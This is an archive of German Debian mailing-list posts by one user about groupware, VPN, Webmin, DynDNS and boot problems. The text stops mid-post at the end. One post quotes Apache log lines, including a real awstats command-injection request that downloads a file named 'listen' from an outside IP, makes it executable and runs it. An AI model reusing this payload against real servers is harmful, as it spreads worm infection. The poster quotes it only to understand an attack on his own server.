eGroupware und Kontact - Konnektor

2006-06-14 Thread Harald Tobias

Moin alle zusammen,

auf meinem Server habe ich eGroupware installiert und es läuft - bis auf 
 MyDMS sehr zufriedenstellend. Nun wollte ich Kontact dazu bringen, die 
Kontakte und den Kalender aus eGroupware zu benutzen. In eGroupware ist 
ein php-Script enthalten(/egroupware/xmlrpc.php), das den Kontakt zu 
Kontact herstellt. Ich habe Kontact gesagt, wo das Script liegt und 
eGroupware so konfiguriert, dass es über das Script mit Kontact 
zusammenarbeiten soll.


Sobald Kontact(Kontakte) mit eGroupware Verbindung aufnehmen will, 
erscheint 3x ein Fenster mit der Fehlermeldung


Server sendet Fehler -1: Ungültige XML Markierungen empfangen: 
unexpected end of file bei 1:1


Wenn ich den Kalender in Kontact aufrufe erhalte ich folgende Meldung:

Ihre Frei/Belegt-Listen lassen sich nicht zur Adresse '192.168.X.Y' 
hochladen. Es könnte ein Problem mit den Zugriffsrechten geben, oder Sie 
haben vielleicht eine falsche URL eingegeben. Die Systemnachricht 
lautet: Ungültige Adresse: 192.168.X.Y..
Bitte überprüfen Sie die URL oder wenden Sie sich an Ihren 
Systemadministrator.


Die URL ist definitiv richtig.

Es kommt auch vor, das ein Autorisierungsdialog erscheint mit der 
Aufforderung mich mit Usernamen und Passwort bei eGroupware anzumelden. 
Sobald ich das tue, meldet mir ein Fenster, das die Anmeldung 
fehlgeschlagen ist.


Nach mehreren Versuchen über Kontact ist die Anmeldung über das 
Webinterface an eGroupware für die voreingestellte Zeit gesperrt. Das 
Problem liegt offensichtlich in der Authentifizierung.


Kennt vielleicht jemand einen Lösungsweg? Tante G. hat mir nicht 
weitergeholfen.


Gruß - Harald


--
Haeufig gestellte Fragen und Antworten (FAQ): 
http://www.de.debian.org/debian-user-german-FAQ/


Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED]
mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)



Mal wieder Groupware

2006-05-02 Thread Harald Tobias

Moin alle zusammen,

ich suche eine Groupware, in der binäre Objekte - sprich: Dateien -
eingebettet werden können. Ich kenne so etwas aus der Vergangenheit mit
Autschlook 2000, als noch Windows auf den PCs installiert war. Die
einzubettenden Dateien sollen per Drag  Drop auf jeden Fall Personen 
aus der Adresskartei eindeutig zugeordnet werden.


Danke im voraus für eure Tips.

Gruß - Harald


--
Haeufig gestellte Fragen und Antworten (FAQ): 
http://www.de.debian.org/debian-user-german-FAQ/


Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED]
mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)



Re: VPN

2006-04-13 Thread Harald Tobias

Andreas Kretschmer schrieb:


Was ist 'MAC-Maschine'?


Das mit dem Apfel-Logo





OpenVPN wurde von mir vorgeschlagen, aber wg. b) verworfen.



Schade.


Ja. Am liebsten würde ich das Wort mit dem ei in der Mitte schreien.




Hat jemand von euch so etwas mit mehreren Netzwerkkarten schon mal gemacht? 
Über jeden Tipp würde ich mich freuen.



Die 5 Netzkarten sind nicht das Problem, das Problem ist:
- IPSec != IPSec. Da gibt es zu viele Implementierungen und Protokolle.
- In Deiner Konstellation wirst Du mit iptables einiges regeln müssen,
  leider ist das IPSEc von Linux 2.6 abartig krank: im Gegensatz zu
  FreeSWAN unter 2.4 hast Du keine virtuellen ipsecX-Devices.


Oh Himmel, auf was muß ich mich da einlassen...


Ich würde klar OpenVPN favorisieren, auch wenn ich es selbst praktisch
noch nie verwendet habe. Aber es ist, nach all dem, was ich dazu weiß,
hinreichend abgehangen, einfacher als IPSec zu konfigurieren und besser
zwischen unterschiedlichen Systemen einsetzbar.
Falls da ein (bezahlter ?) IPSEc-Client schon da ist, auch nicht
schlimm, mit OpenVPN gibt es keine extra-Kosten, die Lizenz des Clients
könnte man noch verklickern...


Gut, das kann ich argumentieren: Entweder IPSec für vieeele Stunden 
oder OpenVPN für weniger Stunden.


Dem Kunden wurde schon eine Lösung eines Mitbewerbers angeboten, aber 
die war ihm zu teuer. Er hat auch kein Problem damit, einen passenden 
Hardwarerouter zu kaufen, der das kann was er braucht, wenn seine Kosten 
dadurch im begrenzten Rahmen halten kann. Was ihn interessiert ist 
einzig die Funktionalität, nichts anderes.


Kennt jemand von euch was passendes?

Gruß - Harald



Andreas



--
Haeufig gestellte Fragen und Antworten (FAQ): 
http://www.de.debian.org/debian-user-german-FAQ/


Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED]
mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)



Re: VPN

2006-04-13 Thread Harald Tobias

Joerg Zimmermann schrieb:

Hi,

Harald Tobias wrote:


Moin liebe Debianer,

ich stehe vor folgender Aufgabe und traue mich nicht so richtig ran:

In einem Netzwerk soll ein VPN eingerichtet werden. In diesem Netz steht
ein Router mit Firewall (z.Z. unter BSD, kann aber durch Debian abgelöst
werden). In diesem Router stecken 5 Netzwerkkarten. Die erste Karte
hängt am DSL-Zugang, die vier anderen Karten sind jeweils für ein
Subnetz. An jedem Subnetz hängt eine andere Firma.

Alle vier Firmen sollen die Möglichkleit erhalten, externe Mitarbeiter
via VPN ins lokale Subnetz unter IP 192.168.a., 192.168.b., 192.168.c.
und 192.168.d. zu lassen. Das VPN soll mit IPSec realisiert werden, weil

a) der Kunde will das so, weil



würde ich als Kunde auch wollen.



b) (lt. Kundenaussage) ein IPSec-Client auf einer MAC-Maschine sowieso
vorhanden ist.

OpenVPN wurde von mir vorgeschlagen, aber wg. b) verworfen.

Hat jemand von euch so etwas mit mehreren Netzwerkkarten schon mal
gemacht? Über jeden Tipp würde ich mich freuen.



IPSec ist der Standard für sowas und in komplexeren Umgebungen
allererste Wahl. OpenVPn ist wesentlich einfacher aufzusetzen und
eignet sich gut für kleinere Umgebungen. Allerdings skaliert es
nicht so gut wie IPSec und unterliegt gewissen Beschränkungen.
Aber das ist ja auch nicht gewünscht.
Da der Router ja schon ein BSD ist, wäre interessant welches.


Ich bin mir fast sicher, daß es OpenBSD ist.



Bei Linux bekommst Du spätestens mit den Filterregeln Probleme. Es
gibt zwar dafür mittlerweile Patches (für netfilter), ich fand es
aber sehr hackelig. Meine letzte Erfahrung unter Linux mit IPSec war
allerdings ein 2.6.(8?)'ter Kernel.

Die sicherste und IMHO einfachste Lösung ist eine OpenBSD-Maschine.
OpenBSD kann alles out of the Box was Du benötigst.
Die Einrichtung von ISAKMPD ist sehr übersichtlich, erinnert an die
alten ini-Dateien von Windows.
Einzig der PF-Filter ist für Linuxer etwas gewöhnungsbedürftig.
Glücklicherweise gibt es hierfür aber ein sehr gutes Linuxtool,
FWBuilder.
Ich würde Dir daher zu einer OpenBSD-Lösung raten. Der Kernel kann
NAT-Traversal und Du brauchst nur den ISAKMPD und den Pf zu
konfigurieren.
Nicht zu erwähnen, wird sowas mit X509 Certificates aufgesetzt.
Für genauere Infos melde Dich einfach nochmal.


Ja, bitte gib mir genauere Infos. Von BSD weiß ich das es das gibt und 
das es ein Unix-artiges Betriebssystem ist. Mehr nicht. :-[


Dann darf ich mich heute und morgen (Karfreitag) auch noch mit BSD 
beschäftigen. Mein Familie wird sich freuen. Das ganze eilt und kann 
*nur* am Wochenende oder Feiertagen durchgeführt werden. Sch.


Was tut man nicht alles für Geld.

Gruß - Harald


--
Haeufig gestellte Fragen und Antworten (FAQ): 
http://www.de.debian.org/debian-user-german-FAQ/


Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED]
mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)



VPN

2006-04-12 Thread Harald Tobias

Moin liebe Debianer,

ich stehe vor folgender Aufgabe und traue mich nicht so richtig ran:

In einem Netzwerk soll ein VPN eingerichtet werden. In diesem Netz steht 
ein Router mit Firewall (z.Z. unter BSD, kann aber durch Debian abgelöst 
werden). In diesem Router stecken 5 Netzwerkkarten. Die erste Karte 
hängt am DSL-Zugang, die vier anderen Karten sind jeweils für ein 
Subnetz. An jedem Subnetz hängt eine andere Firma.


Alle vier Firmen sollen die Möglichkleit erhalten, externe Mitarbeiter 
via VPN ins lokale Subnetz unter IP 192.168.a., 192.168.b., 192.168.c. 
und 192.168.d. zu lassen. Das VPN soll mit IPSec realisiert werden, weil


a) der Kunde will das so, weil
b) (lt. Kundenaussage) ein IPSec-Client auf einer MAC-Maschine sowieso 
vorhanden ist.


OpenVPN wurde von mir vorgeschlagen, aber wg. b) verworfen.

Hat jemand von euch so etwas mit mehreren Netzwerkkarten schon mal 
gemacht? Über jeden Tipp würde ich mich freuen.


Gruß - Harald


--
Haeufig gestellte Fragen und Antworten (FAQ): 
http://www.de.debian.org/debian-user-german-FAQ/


Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED]
mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)



Webmin, komisches Verhalten

2005-11-29 Thread Harald Tobias

Moin alle zusammen,

ich möchte 2 Debian-Rechner in einem lokalen Netzwerk so einrichten, daß 
jeder auf dem anderen via Webmin administrieren kann. Nun habe ich auf 
beiden Webmin (1.180) eingerichtet und jeweils den anderen Rechner als 
Webmin-Server registriert. Danach habe ich versucht von einem mit 
Firefox auf dem anderen Webmin aufzurufen 
(Webmin-Webminserver-server2:1)


Was dann passierte, verstehe ich nicht, denn statt, wie erwartet, die 
Webmin Startseite oder wenigstens eine Fehlermeldung zu erhalten, wurde 
im Browser die Seite


http://www.made-in-china.com/products/show/freemember/prod/jM1Mjk1M/mic/Arts_Crafts_Ceramics_Cup,_Saucer(TCS002).html

aufgerufen. Offensichtlich ein chinesischer Porzellanladen.

Sehr merkwürdig.

Danach auf dem anderen Server mit Firefox den ersten Server aufgerufen mit

Webmin-Webminserver-server1:1

Hier passiert ebenfalls etwas total unerwartetes. Aber statt des 
Porzellanladens kriege ich hier ein Downloadfenster. Die Datei


server2-Station.xls

von der Domain http://www.cmaauctions.com wird als Downloaddatei 
angezeigt. In servername fehlt jedoch ein darin enthaltener Bindestrich.


Kann mir bitte jemand helfen, Webmin so zu konfigurieren, daß ich von 
einem zum anderen vernünftig arbeiten kann?


Vielen Dank!

Gruß - Harald


--
Haeufig gestellte Fragen und Antworten (FAQ): 
http://www.de.debian.org/debian-user-german-FAQ/


Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED]
mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)



Re: Webmin, komisches Verhalten

2005-11-29 Thread Harald Tobias

Hallo Christian,

das ist in beiden Fällen mit Firefox zuverlässig reproduzierbar. Auf das 
Autovervollständigen bin ich gar nicht gekommen. Jetzt habe ich es mit 
der IP-Adresse versucht. Da klappt alles vorzüglich. Offensichtlich 
werden die Hostnamen bei mir nicht aufgelöst. Merkwürdig finde ich nur, 
daß Webmin bei der Serversuche die Hostnamen und nicht die IPs anzeigt.


10 Minuten vergehen.

Das mit dem automatischen Vervollständigen habe ich nun ausgeschaltet. 
Nun erfolgt auch gleich der direkte Aufruf über den Hostnamen. Schade 
nur, daß das mit dem ausfüllen der Formulardaten auf Websites nicht mehr 
automatisch geht. :-(


Das finde ich eigentlich ganz nützlich.

Herzlichen Dank, Du hast mich auf den richtigen Weg gebracht.

Gruß nach ($WOHNORT)

Harald


--
Haeufig gestellte Fragen und Antworten (FAQ): 
http://www.de.debian.org/debian-user-german-FAQ/


Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED]
mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)



Apache access.log

2005-11-19 Thread Harald Tobias

Moin alle zusammen,

ich bitte mal wieder um Rat. Nachdem mein Webserver nun läuft, dank 
eurer Hilfe wg. ddclient, habe ich in der access.log jede Menge Einträge 
die ich nicht verstehe. Erst mal weiß ich gar nicht wieso ich so viele 
(Hunderte täglich) Zugriffe habe, denn die DynDNS-Domain ist nur 4 
Personen bekannt.


Laut Whois habe ich aber Zugriffe aus Deutschland, China, Japan, 
Italien, Spanien, Frankreich und weiteren Ländern. Sind dort Hacker beim 
ausprobieren oder was passiert da?


Wenn ich die Einträge richtig deute, wird häufig versucht auf Dateien 
und Verzeichnisse zuzugreifen, die jedoch gar nicht existieren.


Beispiele:

82.234.215.180 - - [15/Nov/2005:03:31:35 +0100] GET 
/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo| 
 HTTP/1.1 404 288 - Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 
5.1;)


82.83.223.39 - - [15/Nov/2005:09:23:05 +0100] OPTIONS / HTTP/1.1 200 
1304 - Microsoft-WebDAV-MiniRedir/5.1.2600


82.251.49.61 - - [15/Nov/2005:12:19:01 +0100] GET / HTTP/1.0 200 1292 
- -


82.253.228.245 - - [15/Nov/2005:12:31:17 +0100] OPTIONS / HTTP/1.1 200 
1304 - Microsoft-WebDAV-MiniRedir/5.1.2600



Auf meinem Server laufen zwei Anwendungen, die auch nur für einen sehr 
begrenzten Personenkreis zugänglich sind. Versucht im ersten Beispiel 
evtl. jemand Rechte zu verändern?


Kann mir vielleicht jemand erklären was da passiert?

Vielen Dank und noch ein schönes Restwochenende.


Gruß - Harald


--
Haeufig gestellte Fragen und Antworten (FAQ): 
http://www.de.debian.org/debian-user-german-FAQ/


Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED]
mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)



Re: Apache access.log

2005-11-19 Thread Harald Tobias

Hallo alle zusammen,

der Einfachheit halber hier zusammengefaßt als Antwort auf eure 
Stellungnahmen.


Mit der Domain war schon klar, als IP ist die natürlich bekannt bzw. 
einfach vorhanden. Gott sei Dank habe ich eine dynamische IP-Zuweisung, 
so daß sich wahrscheinlich keiner dauerhaft auf mein System einschießen 
kann.


Nach den Erklärungen ist mir klar geworden, daß die Angriffe zufällig 
stattfinden.


Peter Blancke:

Auf meinem Server laufen zwei Anwendungen, die auch nur für einen
 sehr begrenzten Personenkreis zugänglich sind.


Welche? Und welches Sicherungskonzept hast Du fuer diese Anwendungen
vorgesehen?

Nun ja, es handelt sich um eine genealogische Datenbank und um eine 
Bildergalerie (Familienfotos).


Na ja, ich muß zugeben, daß ich dort kein besonderes Sicherheitskonzept 
entwickelt habe. Ich sehe halt zu, daß der Zugang nur wenige meiner 
Verwandten per Paßwort erlaubt ist. Keiner von denen weiß vom Computer 
mehr als jeder andere Durchschnitts-Computer-Benutzer. Eher weniger.


Die vorgegebenen Paßwörter der Anwendungen wurden von mir durch andere 
Paßwörter ersetzt. Die Sicherheitshinweise aus den Readme's und die 
damit verbundenen Maßnahmen habe ich befolgt. Auch das DBMS hat keine 
Default-Paßwörter mehr, sondern von mir wurden eigene Paßwörter vergeben.


Updates fahre ich wöchentlich auf allen meinen Linux-Rechnern.

Updates für Windows führe ich nicht durch. Isch 'abe gar kein Windows!


Daniel Leidert

Linux/Lupper.worm: Der ist es offensichtlich, der meinen Server 
infiltrieren will. Als ich mir eben die Liste der zu infizierenden 
Verzeichnisse und Dateien ansah, sah es wie eine Kopie meiner access.log 
aus. Keines der Verzeichnisse und Dateien existiert auf meinem Server, 
und das ist auch gut so.


Nun gut, vielen Dank für die Auskünfte, Ihr habt mir geholfen besser zu 
verstehen.


Ich wünsche euch allen ein schönes Restwochenende.

Tschüß - Harald


--
Haeufig gestellte Fragen und Antworten (FAQ): 
http://www.de.debian.org/debian-user-german-FAQ/


Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED]
mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)



Re: DynDNS - Problem mit Router

2005-11-02 Thread Harald Tobias

Reinhold Plew schrieb:


eventuell läuft da gar nichts falsch.
Bei mir wird auch sofort die korrekte IP bei dyndns eingetragen,
aber die Aktualisierung der Nameserver im Internet dauert einige
Zeit, d.h., dyndns kennt meine aktuelle IP, wenn ich aber von
einem meiner Server im Internet meine URL erreichen möchte,
wird sie noch auf die alte IP aufgelöst.

Gruss
Reinhold




Hallo Reinhold,

die IP war bei meinem ersten Posting schon 14 Stunden alt. Trotzdem danke.

Gruß - Harald


--
Haeufig gestellte Fragen und Antworten (FAQ): 
http://www.de.debian.org/debian-user-german-FAQ/


Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED]
mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)



Re: Solved: DynDNS - Problem mit Router

2005-11-02 Thread Harald Tobias

Moin alle zusammen,

mit der Hilfe von Thomas Trueten habe ich das Problem gelöst. Vielen 
Dank, Thomas, für Deine Hilfe. Zunächst ist mir bei der Beantwortung des 
Postings von Thomas ein kleines Versehen unterlaufen. Firefox hat für 
die Antwort die Mailadresse von Thomas, statt der für die Liste 
genommen. Deswegen hat Thomas sicherlich auch per PM an mich geantwortet.


Mit den folgenden Einträgen in die ddclient.cont funktioniert es wie 
geschmiert:


pid=/var/run/ddclient.pid
protocol=dyndns2
use=web,web=checkip.dyndns.org/,fw-skip=Current IP Address:
server=members.dyndns.org
login=DeinLoginName
password=DeinPasswort
DeineAdresseBeiDynDNS.ORG

Der Rest aus der .conf kann gelöscht oder auskommentiert werden.

Die Zeile use=web. muß tatsächlich so wie sie oben steht in die 
ddclient.conf. Ich habe, nachdem ich das Posting von Thomas gelesen 
habe, den Fehler begangen, Current IP Address: durch die interne IP 
meines Servers zu ersetzen. Interpretationsfehler von mir.


Die letzten drei Zeilen müssen aber mit den persönlichen Einträgen 
angepaßt werden.


Eine Frage habe ich jedoch noch. Vielleicht hilft mir noch jemand. Die 
Zeile Daemon=300 sorgt doch dafür, daß die IP alle 300 Sekunden 
aufgefrischt wird. Kann der Eintrag in der .conf unterbleiben oder muß 
ich jetzt manuell durch ein Restart von ddclient durchführen?


Zusätzlich zu der o. g. Konfiguration habe ich auch im Router die 
Funktionen für DynDNS aktiviert.


Dank an alle die sich mit meinem Problem beschäftigt haben.

Einen schönen Tag wünsche ich euch allen.

Gruß

Harald


--
Haeufig gestellte Fragen und Antworten (FAQ): 
http://www.de.debian.org/debian-user-german-FAQ/


Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED]
mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)



DynDNS - Problem mit Router

2005-11-01 Thread Harald Tobias

Moin alle zusammen,

vielleicht ist mein Anliegen OT, falls ja bitte ich um einen Hinweis auf 
eine besser geeignete NG.


Folgende Situation:

Ich möchte per DynDNS einen Webserver ins Internet bringen. Dazu habe 
ich mich brav bei DynDNS angemeldet und die jeweils korrekte IP meines 
Routers wird dort in der Konfiguration auch angezeigt. Auf dem Server 
habe ich ddclient installiert und konfiguriert (/etc/ddclient.conf).


Als Router verwende ich ein Netgear RT311. Auf diesem habe ich, wie bei 
DynDNS beschrieben, via telnet die Filter Set Configuration nach 
Beschreibung angepaßt.


Der Apache Webserver läuft, die Datenbank läuft, php läuft und die 
Anwendung läuft auch. Alles einwandfrei. Über das lokale Netz kann ich 
mit der URL, die ich bei DynDNS habe, die Anwendung aufrufen und alles 
funktioniert so wie ich es erwarte.


Leider ist das aber auch schon alles, denn von außen wird die URl 
nicht gefunden. Mehrere Freunde haben das freundlicherweise für mich 
getestet.


Falls erforderlich poste ich auch die Conf-Dateien.

Google habe ich schon bemüht, leider ohne Erfolg. 8-[

Hat jemand einen Tip für mich, wie ich den Webserver ins Web kriege?

System:
Knoppix
Kernel 2.6.11



Gruß - Harald


--
Haeufig gestellte Fragen und Antworten (FAQ): 
http://www.de.debian.org/debian-user-german-FAQ/


Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED]
mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)



Re: DynDNS - Problem mit Router

2005-11-01 Thread Harald Tobias

Jochen Schulz schrieb:


Was heißt die URL wird nicht gefunden? Connection refused? 404?
Timeout? Host not found?


Mozilla sagt dann:

www.meineurl.dyndns.org konnte nicht gefunden werden. Bitte überprüfen 
Sie den Namen und versuchen Sie es nochmals.




Mein Tip, denn davon hast Du bisher nichts erwähnt: wenn der Rechner mit
dem Apachen hinter dem Router hängt, mußt Du natürlich auf dem Router
ein Portforwarding einrichten. Der Webserver ist ja vom Internet gar
nicht direkt erreichbar, also mußt Du dem Router sagen leite alles, was
von außen auf Port 80 ankommt an die interne IP a.b.c.d, ebenfalls Port
80, weiter.


 Als Router verwende ich ein Netgear RT311. Auf diesem habe ich, wie 
 bei DynDNS beschrieben, via telnet die Filter Set Configuration nach 
 Beschreibung angepaßt.


Das Port-Forwarding habe ich mit den korrekten Werten auf dem Nettgier 
eingerichtet.





Wie das für Deine Netgeardose geht, wirst Du wahrscheinlich im Handbuch
finden.  


Nein, als .pdf auf www.netgear.com

Gruß - Harald


--
Haeufig gestellte Fragen und Antworten (FAQ): 
http://www.de.debian.org/debian-user-german-FAQ/


Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED]
mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)



Re: DynDNS - Problem mit Router

2005-11-01 Thread Harald Tobias

Claus Malter schrieb:




Mozilla sagt dann:

www.meineurl.dyndns.org konnte nicht gefunden werden. Bitte überprüfen
Sie den Namen und versuchen Sie es nochmals.




Sch! Mein Fehler, es sollte heißen http://meineurl.dyndns.org

Tut mir leid.

Als ich mit dem Notebook per Modem ins Internet ging, um unter Umgehung 
das LAN das zu testen, habe ich noch mal meinen Account bei DynDNS.com 
aufgerufen. Dabei habe ich bemerkt, daß die angezeigte IP in MyServices 
nicht die meines Routers ist, sondern die IP der mit dem Modem 
aufgebauten Verbindung war.


Mit der URL bekomme ich nach wie vor keinen Zugriff auf meinen Server, 
weil sie offensichtlich nicht aufgelöst wird. Mit der IP, die ich 
dynamisch von meinem Provider erhalte komme ich auf den Server. Alles 
ist dann so wie es sein soll, der Router routet.


Was läuft falsch? Ich bin völlig ratlos. Ist vielleicht doch ein Fehler 
in meiner ddclient.conf?




Jetzt stellt sich die Frage woher das 'www' her kommt? Hast du bei
dyndns.org die Option Enable Wildcard gesetzt? Wenn nicht, brauchst du
einen Nameserver, der den Bereich 'www' auflöst.



Enable Wildcard ist aktiviert.

Gruß - Harald


--
Haeufig gestellte Fragen und Antworten (FAQ): 
http://www.de.debian.org/debian-user-german-FAQ/


Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED]
mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)



Re: HD zu gro fr BIOS, Bootprobleme

2005-03-10 Thread Harald Tobias
Moin,
jetzt habe ich es geschafft den Rechner zum booten zu überreden. Als 
Bootplatte habe ich eine 2,3 GB HD mit  2.000 Cyl wie folgt partitioniert:

1. Partition: /boot 300 MB
2. Partition: /swap 2 GB
Nun klappts auch mit Grub. Was mich beschäftigt ist die Frage, warum 
Grub anscheinend auch Begrenzungen bzgl. der Cylinderzahl auf der HD hat.

Eigentlich auch egal. Ich habs zum laufen gekriegt und das reicht mir.
Danke nochmals für eure Tipps.
Gruß aus CeBIT-City
Harald
--
Haeufig gestellte Fragen und Antworten (FAQ): 
http://www.de.debian.org/debian-user-german-FAQ/

Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED]
mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)


Re: HD zu gro fr BIOS, Bootprobleme

2005-02-21 Thread Harald Tobias
Hallo Michelle, Uwe und Florian,
zunächst einmal sorry für meine späte Rückmeldung, aber am Wochenende 
gehöre ich meiner Familie

Heute habe ich das BIOS-Update installiert und einen neuen 
Installationsversuch gestartet. Es ist keine Verbesserung der Situatiuon 
eingetreten.

Auch der Umweg, zuerst eine DOS-Partition einzurichten und dann per 
loadlin zustarten ging schief. Na ja, einen Versuch war es wert. Ich 
werde noch einen Versuch durchführen, wobei ich LILO auf der genannten 
DOS-Partition installiere. Die Kernelversionen 2.2, 2.4 und 2.6 habe ich 
bereits bei meinen vorherigen Versuchen alle durchprobiert.

Falls es nicht klappen sollte muß ich mir dann doch wohl ein neueres 
Board zulegen. Schade, so kann ich die vorhandenen Resourcen leider 
leider nicht nutzen. (schnief)

Was ich nicht begreife ist, daß die Installation eigentlich jedesmal 
(augenscheinlich) einwandfrei klappte. Weiter macht es mich stutzig, daß 
ich Knoppix über CD auch starten kann. Alle Platten werden sowohl bei 
der Installation eines Linux als auch durch Knoppix eindeutig erkannt, 
identifiziert und zur Mitarbeit gebracht. Darum bin ich der Meinung, daß 
der IDE-Controller entweder die Platten korrekt verarbeitet oder dieser 
unter Linux keine Rolle spielt.

Na ja, es gibt Schlimmeres als das etwas nicht so funktioniert wie man 
es will.

Vielen Dank noch mal für eure Tips. Auf jeden Fall werde ich euch noch 
von meinem angekündigten letzten Versuch berichten.

Gruß - Harald


--
Haeufig gestellte Fragen und Antworten (FAQ): 
http://www.de.debian.org/debian-user-german-FAQ/

Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED]
mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)


HD zu gro fr BIOS, Bootprobleme

2005-02-18 Thread Harald Tobias
Moin,
ich versuche schon seit Tagen erfolglos auf einem ziemlich alten Rechner 
(das Board ist von 1999 mit Intel Celeron 433 MHz) ein Linux zu 
installieren. Versucht habe ich es mit Woody und Sarge, auch SuSE 9.0 
habe ich versucht. Die Installation von CD-ROM verläuft immer 
erfolgreich, jedoch beim ersten Bootversuch von HD meldet Grub Fehler. 
Auf http://www.gnu.org/software/grub/manual/grub.html#Stage1.5%20errors
habe ich sinngemäß festgestellt, dass das BIOS des PC die Platten nicht 
erkennen kann. Meldung:

GRUB Loading stage1.5
GRUB loading, please wait...
Error 18
Bei der automatischen HD-Erkennung hat sich auch herausgestellt, dass 
die 80 GB und die 160 GB Platten nicht erkannt werden. Unschön und 
schlecht. Linux kann aber doch Platten unabhängig vom BIOS erkennen und 
damit arbeiten...

Dann habe ich eine 30 GB Maxtor eingebaut, die dann vom BIOS korrekt 
erkannt wurde. Aber auch dann geht nichts. Grub meldet Fehler 18, 
beschrieben auf o. g. Link.

Auch der Versuch, eine HD mit 1,2 GB zu verwenden schlug genauso fehl. 
Hierbei habe ich diese Platte als hda komplett als /boot konfiguriert 
und / auf die 30er Platte auf hdb gelegt. Die 160er Platte sollte 
/home sein. Auch hier kein Erfolg.

Ach ja, das Board ist ein MS-6153 Ver. 1.0 mit Award BIOS v4.51PG. Unter 

http://www.msi-computer.de/produkte/main_idx_view.php?Prod_id=113Seite=BIOS
kriege ich nur folgende Auskunft für ein BIOS-Update. Das hilft bei der 
Erkennung großer Platten wahrscheinlich wenig:

- Unterstützung für das booten von Windows NT / Novell NetWare.
- Unterstützung für Intel(R) Coppermine(R) CPU (nur mit blauem Aufkleber 
auf I/O Chip).

Hat vielleicht jemand von euch eine Idee, wie ich den Rechner zum laufen 
kriege? Möglicherweise kann ja ein Bootmanager wie z. B. Bootmagic 
Abhilfe schaffen. Falls das die einzige Möglichkeit sein sollte bitte 
ich um Empfehlungen von OSS. Bootmagic besitze ich nicht und nur für den 
PC will ich mir das nicht kaufen.

Gruß - Harald
--
Haeufig gestellte Fragen und Antworten (FAQ): 
http://www.de.debian.org/debian-user-german-FAQ/

Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED]
mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)


Re: Sarge und KDE Problem

2004-10-28 Thread Harald Tobias
Thomas Schönhoff schrieb:

Wie/wo kann ich einstellen, dass normalerweise KDE gestartet wird?
1) su
2) Passwort eingeben
3) dpkg-reconfigure kdm
und die Sache sollte rollen.
Hallo Thomas,
genau das hat geholfen. Vielen Dank auch an alle anderen, die mir einen 
Tip gegeben haben. Ich wünsche euch allen noch einen schönen und 
erfolgreichen Tag!

Gruß aus Hannover
Harald
--
Haeufig gestellte Fragen und Antworten (FAQ): 
http://www.de.debian.org/debian-user-german-FAQ/

Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED]
mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)


Sarge und KDE Problem

2004-10-25 Thread Harald Tobias
Moin,
letzte Woche habe ich Sarge auf meinem Rechner installiert. Leider muß 
ich bei jedem Einloggen vorher bei Session KDE auswählen, damit KDE 
startet. Wenn ich das nicht tue, startet immer Gnome.

Wie/wo kann ich einstellen, dass normalerweise KDE gestartet wird?
Vielen Dank für Hilfe!
Gruß - Harald
--
Haeufig gestellte Fragen und Antworten (FAQ): 
http://www.de.debian.org/debian-user-german-FAQ/

Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED]
mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)


Re: Postgresql bricht bei der Konfiguration mit Fehlermeldung ab

2004-07-07 Thread Harald Tobias
Gerd Terlutter schrieb:
Harald Tobias wrote:
Torsten Schneider schrieb:
On Fri, Jul 02, 2004 at 11:19:34AM +0200, Harald Tobias wrote:

Database error: Link-ID == false, connect failed PostgreSQL
Error: 1 ()


Ist denn postgres überhaupt installiert und läuft? Postgres lauscht
auf Port 5432/tcp.
Hallo Torsten,
vielen Dank für Deinen Tip. PostgreSQL ist installiert und läuft
auch. Mit Webmin kann ich DBs anlegen, User verwalten etc. Daran kann
es nicht liegen.
Was kann  es damit auf sich haben:
The fix is of course to add one more addslashes to 
phpgroupware/wiki/setup/default_records.php.

Link: 
